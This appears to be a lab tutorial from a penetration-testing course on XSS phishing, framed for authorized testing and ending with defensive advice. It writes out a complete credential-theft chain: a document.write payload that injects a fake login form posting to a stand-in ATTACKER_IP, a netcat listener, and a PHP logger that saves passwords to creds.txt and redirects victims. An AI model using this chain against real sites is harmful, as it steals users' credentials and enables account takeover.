XSS Phishing (Fake Login Forms)
What it is
XSS phishing uses cross-site scripting to show legitimate-looking UI (often a login form) on a site the victim already trusts. Submitted credentials go to an attacker-controlled server so the attacker can log in as the victim and access accounts and sensitive data.
In authorized work, a known XSS on an org’s app can double as a phishing simulation: employees who trust the domain may not expect a malicious prompt, which measures security awareness.
Prerequisites
You need a working XSS on the target (stored, reflected, or DOM-based). Delivery matches normal XSS (for example, a malicious URL for reflected XSS on a GET parameter).
Lab pattern: /phishing image URL viewer
The module uses a simple online image viewer: you pass an image URL and the page renders it, e.g.:
http://SERVER_IP/phishing/index.php?url=https://www.hackthebox.eu/images/logo-htb.svg
That pattern appears in forums and similar apps. A naïve test like:
...?url=<script>alert(window.origin)</script>
often does nothing useful (dead image icon, no alert): the parameter may land in a context where a raw <script> string does not execute (for example attribute or URL context for <img src="...">).
Run your XSS discovery process: after each attempt, view page source and see exactly how the server placed your input—then craft a payload that escapes that context and runs JavaScript (same discipline as any XSS lab; solve it before building the phishing chain).
Injecting the fake login form
- Build HTML for a login form whose
actionis your machine (IP fromip a, oftentun0on HTB). With defaultGET, credentials appear in the query string when the victim submits. - Emit that HTML from the page with
document.write('...'), usually one minified line inside whatever XSS vector you already proved (replace thealert(window.origin)proof-of-concept with this script).
Example markup (use type="text" / type="password" for real browsers; some course snippets use nonstandard type values that still degrade to text-like behavior):
<h3>Please login to continue</h3>
<form action="http://ATTACKER_IP">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
Injected as one string (note quoting and no line breaks inside the string):
document.write('<h3>Please login to continue</h3><form action=http://ATTACKER_IP><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
For reflected XSS, the full attack is typically a single URL with your payload in the url (or relevant) parameter—same idea as the reflected XSS notes.
Cleaning up the page
If the real “image URL” form is still visible, the story (“please login”) is weaker.
- In DevTools, use the element picker (e.g. Firefox
Ctrl+Shift+C) and click the URL form to read itsid. - In the lab, the GET form is often:
<form role="form" action="index.php" method="GET" id="urlform">
<input type="text" placeholder="Image URL" name="url">
</form>
- After
document.write(...), remove it:
document.getElementById('urlform').remove();
Chained with the write call:
document.write('...form html...');document.getElementById('urlform').remove();
If leftover server HTML still appears after your injected block, append an HTML comment start immediately after your payload in the vulnerable parameter (e.g. ...payload...<!--) so the rest of the template is commented out and the page looks like a normal login gate.
Credential stealing
Listener not running
If the form posts to your IP but nothing is listening, the browser shows errors such as “This site can’t be reached”—expected until you open a collector.
Quick capture with netcat
sudo nc -lvnp 80
Submitting the form yields a GET with credentials in the URL, for example:
GET /?username=test&password=test&submit=Login HTTP/1.1
Host: ATTACKER_IP
Netcat does not speak HTTP properly on the way back, so the victim may see connection / unable to connect style errors—usable for a demo, suspicious for a smooth phish.
Smoother UX: PHP logger + redirect
A tiny index.php can append credentials to creds.txt and header("Location: ...") the victim to the real image viewer (clean URL, no XSS), so they assume login worked:
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>
Replace SERVER_IP with the legitimate app host from the exercise. Serve from a directory that contains this file:
mkdir -p /tmp/tmpserver && cd /tmp/tmpserver
# write index.php here
sudo php -S 0.0.0.0:80
Verify creds.txt:
cat creds.txt
Then share the final malicious URL (with the full XSS payload) only in authorized tests.
Operational and defensive notes
- Authorization: Run only where you have permission; credential capture is sensitive.
- Defenses: fix XSS at the root (encoding, CSP, safe sinks), prefer phishing-resistant auth where possible, and train users to treat unexpected login prompts as suspicious even on familiar hostnames.